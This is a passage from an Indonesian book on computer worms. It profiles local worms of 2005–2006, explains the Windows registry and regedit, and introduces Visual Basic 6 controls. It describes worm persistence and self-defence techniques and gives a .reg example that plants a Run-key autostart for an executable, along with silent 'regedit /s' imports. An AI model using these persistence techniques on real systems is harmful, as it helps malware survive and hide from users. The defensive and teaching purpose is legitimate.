Pada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Riyanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg. Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe pada direktori 'C:\!submit dan file 'riyani_jangkaru.exe pada root direktori C:\, kemudian menambahkan value 'winloader pada registry run yang akan mengaktifkan worm setiap Windows startup. Hanya saja worm ini baru banyak dikenal pada pertengahan Juli 2005.
23
Jasakom
2.6.4 KANGEN
Pada pertengahan April 2005, suatu worm lokal kembali meresahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic, menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi J. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'CCAPPS.EXE dengan ukuran file sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha menonaktifkan program Task Manager, MS Config dan Registry Editor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.
2.6.5 KUMIS
Diawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang kemudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Windows Server 2003. Saat file infector dieksekusi worm ini membuat salinan dirinya ke direktori System Windows dengan nama 'username logon.exe dimana username adalah nama user aktif, kemudian memanipulasi registry agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart komputer setiap kali Windows startup.
Jasakom
24
2.6.6 DECOIL
Worm Decoil yang juga sering disebut Decoy ini muncul di penghujung tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft Word dan membuat salinan dengan nama yang persis dengan nama file yang disembunyikan. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'lExplorer.exe, pada direktori System Windows dan sub direktori '\i75-d2 dengan nama file 'dkernel.exe. Decoy tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb (besar file ini setelah dikompres dengan UPX). Bab 2. Mengenal Worm
2.6.7 RONTOKBRO
Diawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp sendiri dalam mengirimkan file infector-nya dan selektif dalam pemilihan alamat e-mail target. Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.
2.6.8 NOBRON
Tidak begitu lama setelah kemunculan RontokBro, worm yang kemudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config, Task Manager dan CMD. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'MsPatch.exe, selain itu Nobron juga membuat salinan ke setiap root dari masing-masing drive termasuk USB Flash Disk dengan nama file 'foto administrator.exe.
25
Jasakom
2.6.9 RUNITIS
Pada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran file sebesar 164 Kb dan telah dikompres dengan aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur). Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus file program regedit.exe (Registry Editor), msconfig.exe (MS Config), wmplayer.exe (Windows Media Player), winamp.exe dan winampa. exe (Winamp) serta beberapa file program lainnya kemudian membuat salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.
2.6.10 BLUEFANTASY
Di akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun BlueFantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut. Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com dan menggunakan atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe dan scr akan terlihat sebagai aplikasi Microsoft Word.
Jasakom
26
2.6.11 ROMDIL
Pertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic. Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows Explorer. Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah user mengeksekusi aplikasi CMD (command prompt), MS Config, Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run. Bab 2. Mengenal Worm
2.6.12 MYBRO
Di bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C. MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon dengan gambar Folder. Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control. Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk menghapus file Microsoft Visual Basic Virtual Machine yang akan menggagalkan proses untuk setiap aplikasi yang dibuat dengan menggunakan bahasa Visual Basic, serta melakukan blocking ke beberapa situs tertentu.
27
Jasakom
2.6.13 IRCBOT.AQF
Dibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini tidak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal tahun 2006, yang akan me-restart komputer jika proses salah satu file launcher dimatikan. File worm berukuran 32 Kb dan menggunakan icon file dokumen Microsoft Word.
2.6.14 LIGHTMOON
Worm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm, sehingga user malah mengeksekusi worm tersebut apabila menjalankan salah satu fungsi tersebut.
Jasakom
28
Dalam sistem operasi Microsoft Windows, keberadaan registry menjadi sangat vital karena registry menyimpan pengaturanpengaturan baik oleh sistem operasi itu sendiri maupun program aplikasi yang terinstal. Keberadaan registry menjadi suatu keuntungan bagi worm writer untuk membuat suatu worm tetap aktif saat komputer dihidupkan, bahkan dengan registry pula suatu worm bisa melumpuhkan program yang bisa membahayakan worm tersebut. Sebaliknya dengan memiliki pengetahuan tentang registry, seorang administrator sistem akan lebih mudah dalam menangani worm, bahkan tidak sesekali penulis temukan bahwa hanya dengan menghapus registry milik suatu worm, ternyata mampu melumpuhkan worm tersebut.
29
Jasakom
R
XP. Bab 3. Registry Windows
egistry adalah suatu database yang digunakan untuk menyimpan pilihan dan pengaturan pada system Microsoft Windows versi 32 bit yang mencakup Windows 95, 98, ME, NT/2000 dan
Registry berisi pengaturan dan informasi untuk semua hardware (perangkat keras), software (perangkat lunak), user (pengguna), dan pilihan-pilihan yang berkaitan dengan komputer tersebut. Ketika user melakukan perubahan pada pengaturan control panel, atau asosiasi file, system policies, atau menginstall suatu software, maka perubahan tersebut akan tersimpan di registry. File data pada registry disimpan dengan cara yang berbeda dan tergantung pada versi Windows yang digunakan. Pada Windows 95 & 98 file data terdapat di dua file Hidden di dalam direktori Windows, yaitu file USER.DAT dan SYSTEM.DAT, untuk Windows ME ada suatu tambahan berupa file CLASSES.DAT, sedangkan pada Windows NT/2000/XP file dimasukkan secara terpisah di dalam direktori %Systemroot%\System32\Config. Anda tidak bisa mengubah file ini secara langsung, tetapi harus menggunakan suatu tool yang disebut sebagai Registry Editor untuk membuat perubahan apapun pada registry.
Jasakom
30
3.1.1 HIVE
Ada enam hive atau cabang utama pada registry, masing-masing berisi suatu porsi spesifik menyangkut informasi yang disimpan di dalam registry tersebut. Adapun hive-hive tersebut adalah sebagai berikut: 1. HKEY_CLASSES_ROOT: hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag-and-drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows. 2. HKEY_CURRENT_USER: hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan Startmenu. 3. HKEY_LOCAL_MACHINE: hive ini berisi informasi spesifik komputer tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, dan informasi ini digunakan untuk semua user pada komputer itu. 4. HKEY_USERS: hive ini berisi pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan di bawah cabang utama. 5. HKEY_CURRENT_CONFIG: hive ini merujuk pada bagian HKEY_LOCAL_MACHINE, sesuai dengan konfigurasi hardware yang berlaku saat itu. 6. HKEY_DYN_DATA: hive ini merujuk suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug & play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari system.
3.1.2 VALUE
Masing-masing value disimpan dengan beberapa jenis data, yang paling sering digunakan adalah: 1. REG_BINARY: Jenis ini menyimpan nilai sebagai data biner. Kebanyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.
31
Jasakom
2. REG_DWORD: Jenis ini mewakili data dengan empat byte nomor; dan biasanya digunakan untuk nilai-nilai boolean, seperti "0" berarti disabled dan "1" berarti enabled. 3. REG_SZ: Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.
3. Untuk menutup aplikasi Registry Editor, klik menu 'Registry kemudian klik 'Exit.
Jasakom
32
33
Jasakom
Untuk mengubah data backup kembali menjadi registry aktif dapat menggunakan langkah-langkah berikut: 1. Klik Startmenu, kemudian klik Shut Down 2. Pilih opsi Restart in MS-DOS Mode, klik OK 3. Pada MS-DOS Prompt, ketik: SCANREG /RESTORE Ikuti petunjuk yang diberikan, pilih tanggal backup saat terakhir komputer sukses di jalankan dengan normal, dan akhiri dengan me-restart komputer.
Jasakom
34
3. Sebuah key baru akan muncul dengan nama default seperti 'New Key #1 4. Ketik nama yang diinginkan, dan tekan enter.
35
Jasakom
Untuk menambah suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada hive yang akan ditambahkan value baru 2. Klik menu Edit, arahkan pada opsi New dan pilih jenis value yang ingin ditambahkan: String Value, Binary Value, atau DWORD Value 3. Sebuah value baru akan muncul dengan nama default seperti 'New Value #1 4. Ketik nama yang diinginkan, dan tekan enter. Untuk mengubah data pada suatu value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada value yang akan diubah datanya 2. Klik menu Edit, kemudian klik Modify, sebuah kotak dialog editor akan muncul sesuai dengan jenis data value yang akan diubah. Lakukan perubahan dan tekan enter untuk mengakhirinya. Untuk menghapus suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang akan dihapus 2. Klik menu Edit, kemudian klik Delete. Untuk mengubah nama suatu key atau value, dapat dilakukan dengan cara sebagai berikut: 1. Klik pada key atau value yang namanya akan diubah 2. Klik menu Edit, kemudian klik Rename 3. Ketik nama yang diinginkan, dan tekan enter.
Jasakom
36
4. Klik Find Next, jika Registry Editor menemukan string yang Anda cari maka secara otomatis Registry Editor akan menyorot pada string tersebut. Untuk mengulang pencarian dengan string yang sama Anda tinggal mengklik 'Find Next pada menu Edit
37
Jasakom
5. Jika string yang dicari hingga string terakhir dari Keys, Values atau Data tidak juga ditemukan maka akan muncul sebuah kotak pesan sebagai berikut:
Beberapa contoh penggunaan parameter perintah regedit ini adalah : regedit [filename] , akan mengimpor data file *.reg ke dalam registry aktif, contoh:
regedit c:\file.reg
Data pada file file.reg akan di install atau dimasukkan ke dalam registry windows. Contoh lainnya adalah regedit /s [filename] yang akan menyembunyikan kotak dialog konfirmasi saat mengimpor file *.reg, contoh:
regedit /s c:\file.reg
Jasakom
38
Dengan perintah ini, regedit tidak akan menampilkan konfirmasi kepada user saat memasukkan data file.reg ke dalam registry. Dengan perintah : regedit /e [filename] [regpath], data dari registry akan diekspor ke [filename] yang dimulai pada [regpath], contoh: Bab 3. Registry Windows
regedit /e file.reg HKEY_USERS\.DEFAULT
Contoh file reg berikut akan membuat sebuah String Value bernama 'winsys dengan data 'c:\windows\w32bla.exe pada lokasi registry: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run. Apabila value tersebut sudah ada pada lokasi registry tersebut maka data dari value tersebut akan di-overwrite dengan data yang baru.
39
Jasakom
Contoh lain untuk membuat sebuah DWORD Value dan Binary Value:
REGEDIT4 [HKEY_CURRENT_USER\Control Panel\Desktop] "ScreenSaveUsePassword"=dword:00000000 "SmoothScroll"=hex:00,00,00,00
File reg juga dapat digunakan untuk menghapus suatu key atau value pada registry aktif, dengan memberi tanda '-'. Contoh berikut ini akan menghapus key registry aktif pada HKEY_CURRENT_USER\Software\Malcode
REGEDIT4 [-HKEY_CURRENT_USER\Software\Malcode]
Catatan:
Penulis menemukan suatu bug pada cara ini dimana aplikasi Registry Editor tidak akan mengeksekusi baris terakhir, jadi pastikan ada baris kosong pada akhir file, untuk itu klik bagian bawah teks terakhir, apabila kursor berpindah ke baris kosong maka cara tersebut sudah benar, jika tidak maka tempatkan kursor pada akhir teks, kemudian tekan enter untuk membuat baris baru dibawahnya. Perhatikan pada teks awal yakni "REGEDIT4", tidak terdapat spasi diantara REGEDIT dan 4. Perhatikan juga teks "dword" dan "hex", teks ini menggunakan lowercase (huruf kecil).
Jasakom
40
Visual Basic merupakan salah satu bahasa pemrograman yang banyak digunakan para worm writer untuk membuat worm, dengan Visual Basic pula seorang administrator sistem bisa membuat sebuah removal tool (alat pembersih) untuk worm. Bab ini akan mengenalkan kita pada tampilan, peralatan dan dasar-dasar penggunaan aplikasi Visual Basic.
41
Jasakom
V
Bab 4. Mengenal Visual Basic
isual Basic 6.0 adalah salah satu bahasa pemrograman tingkat tinggi yang berguna untuk membuat suatu aplikasi dengan cepat dan mudah. Visual Basic dibuat dalam lingkungan Microsoft Windows sehingga mampu berinteraksi dengan seluruh aplikasi Windows. Didalam pengembangan program, aplikasi Visual Basic 6.0 banyak didukung fasilitas-fasilitas tambahan sehingga mampu menghasilkan program yang bermutu tinggi.
Jasakom
42
4.1.1 MENUBAR
Menubar adalah kumpulan instruksi yang diklasifikasikan menjadi beberapa menu lainnya.
4.1.2 TOOLBAR
Toolbar berfungsi sama seperti menubar, hanya saja toolbar adalah tombol-tombol shortcut yang mewakili suatu perintah tertentu dari Visual Basic.
Untuk memilih suatu proses yang akan dilakukan, Anda tinggal mengklik icon yang sesuai. Dengan adanya toolbar, pengguna akan dimudahkan dalam memilih proses yang sering dilakukan tanpa harus memilihnya melalui menubar.
43
Jasakom
Menubar berupa menu dropdown yang terdiri dari menu File, Edit, View, Project, Format, Debug, Run, Query, Diagram, Tools, Add-Ins, Window dan menu Help.
4.1.6 TOOLBOX
Toolbox adalah sebuah "kotak peralatan" yang memuat object atau control yang dibutuhkan untuk membentuk suatu program aplikasi. Control adalah object yang menjadi perantara antara program aplikasi dan pengguna, yang kesemuanya diletakkan di dalam jendela form.
Jasakom
44
Untuk membuka jendela kode ada beberapa cara: 1. Klik View pada menubar, kemudian klik Code, atau tekan tombol Alt+V kemudian tekan tombol C 2. Klik kanan pada bidang form, kemudian klik View Code 3. Klik ganda pada bidang form atau control object yang ada 4. Klik kanan pada Project Explorer, kemudian klik View Code 5. Klik icon View Code pada Project Explorer.
45
Jasakom
Jasakom
46
47
Jasakom
Jasakom
48
49
Jasakom
Kenapa bab ini ada? Dalam mempelajari aplikasi Visual Basic tak terlepas dari istilah object dan control, maka untuk melanjutkan bab sebelumnya bab ini akan membahas lebih jauh mengenai object dan control yang terdapat pada aplikasi Visual Basic. Selain mengenal beberapa object dan control bab ini juga memuat beberapa event dan properties yang sering digunakan pada object dan control tersebut.
51
Jasakom
O
Bab 5. Object Form dan Control
bject adalah segala sesuatu yang ada pada program. Setiap object pada Visual Basic didefinisikan oleh suatu class. Object bisa berupa form dan control, jadi bisa dikatakan bahwa form dan control adalah suatu class. Class adalah definisi formal suatu object dan berfungsi sebagai template dari suatu object yang dibuat saat run-time, class mendefinisikan setiap properti dan metode untuk mengontrol tindakan object. Properti adalah penanda suatu object yang mengatur sifat-sifat object tersebut seperti nama, jenis huruf yang digunakan, warna, ukuran dan lain sebagainya. Sedangkan metode disini berarti suatu procedure yang dikenakan pada suatu object, metode memanfaatkan object untuk melakukan suatu kejadian tertentu. Pada saat kita membuat project baru, Visual Basic menyediakan control standar untuk digunakan pada form, control standar tersebut disebut control intrinsic, control ini juga merupakan class-class yang sudah tersedia. Bab ini akan membahas tentang properti dan event atas form dan control-control intrinsic tersebut. Event adalah suatu kejadian yang direspon oleh object, seperti klik mouse, klik tombol keyboard dan lain sebagainya. Perlu Anda ketahui bahwa event suatu control bisa dieksekusi oleh control lainnya.
Jasakom
52
5.1 FORM
Form berfungsi sebagai perantara antara program dan user. Saat kita membuat project (Standard EXE) baru, Visual Basic secara otomatis memberikan sebuah form bernama Form1. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk merancang suatu form:
PROPERTI
(Name) BackColor BorderStyle Caption ControlBox Enabled
KETERANGAN
Nama form biasanya diberi prefix frm Warna latar belakang form Model Titel atau judul form Menampilkan atau menyembunyikan tombol control (minimize, restore/ maximize, close) pada form Jika bernilai true, mengijinkan form untuk merespon event mouse dan keyboard. Jika bernilai false, form akan menolak event tersebut. Mengatur jenis, model dan ukuran huruf Tinggi form Menetapkan icon untuk form tersebut atau aplikasi apabila form tersebut terpilih sebagai Startup Object. Jika bernilai false, maka tombol maximize menjadi disable (tidak aktif) Menetapkan apakah form tersebut MDI (Multiple Document Interface) atau tidak. Jika bernilai false, maka tombol minimize menjadi tidak aktif Memasukan object gambar pada form.
53
Jasakom
PROPERTI
Visible ShowInTaskbar StartUpPosition Tag Width
KETERANGAN
Mengatur apakah form akan ditampilkan pada user atau menyembunyikannya. Mengatur apakah form akan ditampilkan pada taskbar atau menyembunyikannya. Posisi form pada layar monitor, saat di-load Digunakan sebagai kontainer untuk data dari control yang ingin disimpan Lebar form Mengatur ukuran tampilan form saat di-load apakah minimize atau maximize.
WindowState
Event adalah kejadian yang berpengaruh langsung pada form, contoh beberapa event yang biasanya dimanfaatkan:
EVENT
Activate Click DblClick Load Unload Terminate
SAAT TERJADI
Form terpilih dan menjadi aktif User mengklik pada bidang form User melakukan double click pada bidang form Form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan Form di non-aktifkan atau sesaat sebelum mengakhiri form tersebut Form diakhiri, baik mengikuti procedure atau diluar dari procedure yang ada.
5.2 KONTROL
Control adalah object yang ditempatkan pada bidang form sebagai perantara program dan user baik sebagai media masukan atau keluaran.
Jasakom
54
5.2.1 PICTUREBOX
Dengan control PictureBox kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control PictureBox:
PROPERTI
(Name) Align AutoSize BackColor BorderStyle Height Left Picture TabIndex TabStop Width
KETERANGAN
Nama PictureBox, biasanya diberi prefix pic Pengaturan posisi PictureBox pada form
Warna latar belakang PictureBox Mengatur garis tepi pada form Tinggi PictureBox Jarak PictureBox pada batas tepi kiri form Memasukan object gambar pada PictureBox. Urutan perpindahan tabulasi Jika false, maka control tersebut tidak akan terfokus Lebar PictureBox.
EVENT
Change Click DblClick
SAAT TERJADI
Terjadi perubahan pada PictureBox, misalnya pada properti Picture User mengklik pada bidang PictureBox User melakukan double click pada bidang PictureBox.
55
Jasakom
Jika true, maka ukuran PictureBox akan menyesuaikan object gambar didalamnya.
5.2.2 LABEL
Control Label digunakan untuk membuat label pada bidang form yang biasanya berfungsi sebagai pemberi keterangan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI (Name) Alignment AutoSize BackColor BackStyle BorderStyle Caption Font ForeColor Height ToolTipText Visible Width
KETERANGAN Nama Label, biasanya diberi prefix lbl Mengatur perataan teks pada Label Jika true, maka ukuran Label akan menyesuaikan pada ukuran teks. Warna latar belakang Label Jika transparent, maka latar belakang Label menjadi transparan. Mengatur garis tepi pada Label Mengatur teks yang akan ditampilkan Label Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada Label Tinggi Label Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada Label. Jika false, maka Label tidak ditampilkan Lebar Label.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Click DblClick
SAAT TERJADI
Terjadi perubahan pada Label, misalnya pada properti Caption User mengklik pada bidang Label User melakukan double click pada bidang Label.
Jasakom
56
5.2.3 TEXTBOX
Control TextBox digunakan sebagai tempat masukan atau keluaran data berupa teks. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI
(Name) Alignment Height MaxLength MultiLine PasswordChar ScrollBars Text ToolTipText Visible Width
KETERANGAN
Nama TextBox, biasanya diberi prefix txt Mengatur perataan teks pada TextBox Tinggi TextBox Mengatur batas jumlah karakter yang bisa dimasukkan pada TextBox Jika true, maka memungkinkan untuk menggunakan teks lebih dari satu baris. Mengatur karakter untuk password Mengatur scrollbar pada TextBox Mengatur teks yang akan ditampilkan TextBox Mengatur keterangan yang akan ditampilkan secara pop-up saat pointer berada pada TextBox. Jika false, maka TextBox tidak ditampilkan Lebar TextBox.
SAAT TERJADI Terjadi perubahan pada TextBox, misalnya pada properti Text User mengklik pada bidang TextBox User melakukan double click pada bidang TextBox.
57
Jasakom
5.2.4 FRAME
Control Frame biasanya digunakan untuk mengelompokkan control dalam suatu area frame, dimana lokasi control (left, right, top) yang berada didalamnya akan menyesuaikan dengan lingkungan frame tersebut. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Caption Height Width
KETERANGAN
Nama Frame, biasanya diberi prefix fra Mengatur teks judul yang akan ditampilkan Frame Tinggi Frame Lebar Frame.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick
SAAT TERJADI
User mengklik pada bidang Frame User melakukan double click pada bidang Frame.
5.2.5 COMMANDBUTTON
Control CommandButton adalah control yang berupa tombol, yang digunakan untuk mengeksekusi suatu instruksi tertentu. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Caption DisabledPicture
KETERANGAN
Nama CommandButton, biasanya diberi prefix cmd Warna latar belakang CommandButton apabila properti Style diatur pada opsi graphical Mengatur teks yang akan ditampilkan CommandButton. Mengatur gambar untuk latar belakang CommandButton saat properti Enabled adalah false dan properti Style diatur pada opsi graphical
Jasakom
58
DownPicture
Mengatur gambar untuk latar belakang CommandButton pada saat posisi tombol diklik, dengan syarat properti Enabled adalah false dan properti Style diatur pada opsi graphical Jika bernilai true, mengijinkan CommandButton untuk merespon event mouse dan keyboard. Jika bernilai false, CommandButton akan menolak event tersebut. Mengatur jenis, model dan ukuran huruf Tinggi CommandButton Mengatur gambar untuk latar belakang CommandButton jika properti Enabled adalah true dan properti Style diatur pada opsi graphical Urutan perpindahan tabulasi Jika false, maka control tersebut tidak akan terfokus Lebar CommandButton.
Enabled
SAAT TERJADI
User mengklik pada CommandButton
5.2.6 CHECKBOX
Control CheckBox adalah control yang berupa kotak pilihan, digunakan untuk informasi masukan yang dapat bernilai true atau false. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Alignment BackColor
KETERANGAN
Nama CheckBox, biasanya diberi prefix chk Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan CheckBox Warna latar belakang CheckBox
59
Jasakom
Caption Enabled
Mengatur teks yang akan ditampilkan CheckBox Jika bernilai true, mengijinkan CheckBox untuk merespon event mouse dan keyboard. Jika bernilai false, CheckBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada CheckBox Tinggi CheckBox Jika bernilai checked maka berarti kotak opsi dipilih (ditandai dengan tanda centang pada kotak opsi). Lebar CheckBox.
Width
SAAT TERJADI
User mengklik pada CheckBox
5.2.7 OPTIONBUTTON
Control OptionButton adalah control yang berupa pilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Alignment BackColor Caption Enabled
KETERANGAN
Nama OptionButton, biasanya diberi prefix opt Mengatur perataan kotak opsi, memposisikan disebelah kiri atau disebelah kanan OptionButton Warna latar belakang OptionButton Mengatur teks yang akan ditampilkan OptionButton Jika bernilai true, mengijinkan OptionButton untuk merespon event mouse dan keyboard. Jika bernilai false, OptionButton akan menolak event tersebut
Jasakom
60
Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada OptionButton Tinggi OptionButton Jika bernilai true maka berarti kotak opsi dipilih (ditandai dengan tanda titik pada opsi). Lebar OptionButton.
SAAT TERJADI
User mengklik pada OptionButton User melakukan double click pada OptionButton.
5.2.8 COMBOBOX
Control ComboBox adalah control yang biasanya berupa suatu daftar pilihan dan digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI (Name) BackColor Enabled KETERANGAN Nama ComboBox, biasanya diberi prefix cbo Warna latar belakang ComboBox Jika bernilai true, mengijinkan ComboBox untuk merespon event mouse dan keyboard. Jika bernilai false, ComboBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada ComboBox Tinggi ComboBox Jika true, maka data pada ComboBox bisa diubah saat run-time Mengurutkan pilihan yang ada pada ComboBox Isi ComboBox Lebar ComboBox.
61
Jasakom
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Click DblClick GotFocus LostFocus
SAAT TERJADI
Terjadi perubahan pada ComboBox User mengklik pada ComboBox User melakukan double click pada ComboBox ComboBox mendapat fokus Sesaat sebelum fokus berpindah dari ComboBox.
5.2.9 LISTBOX
Control ListBox adalah control berupa kotak daftar berisi pilihanpilihan, digunakan untuk informasi masukan. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Columns Enabled
KETERANGAN
Nama ListBox, biasanya diberi prefix lst Warna latar belakang ListBox Mengatur jumlah kolom pada ListBox Jika bernilai true, mengijinkan ListBox untuk merespon event mouse dan keyboard. Jika bernilai false, ListBox akan menolak event tersebut Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada ListBox Tinggi ListBox Daftar pilihan yang ditampilkan pada ListBox Mengurutkan pilihan yang ada pada ListBox Jika bernilai checkbox, pemilihan bisa lebih dari dua opsi dengan memberi centang pada opsi-opsi yang dipilih Lebar ListBox.
Jasakom
62
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus ItemCheck LostFocus
SAAT TERJADI
User mengklik pada ListBox User melakukan double click pada ListBox ListBox mendapat fokus Saat sebuah opsi dipilih dengan memberikan tanda centang
5.2.10 HSCROLLBAR
Control HScrollBar atau horizontal scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk horisontal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled
KETERANGAN
Nama HScrollBar, biasanya diberi prefix hsb Jika bernilai true, mengijinkan HScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, HScrollBar akan menolak event tersebut Tinggi HScrollBar Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat area bar di klik Mengatur nilai terbesar pada properti Value, jangkauan terbesar adalah 32,767 Mengatur nilai terkecil pada properti Value, jangkauan terkecil antara -32,768 Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat panah scroll di klik Lebar HScrollBar.
Height LargeChange
Width
63
Jasakom
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Scroll
SAAT TERJADI
Terjadi perubahan pada HScrollBar User melakukan penggulungan dengan mengklik area bar atau panah scroll.
5.2.11 VSCROLLBAR
Control VScrollBar atau vertical scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk vertikal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled
KETERANGAN
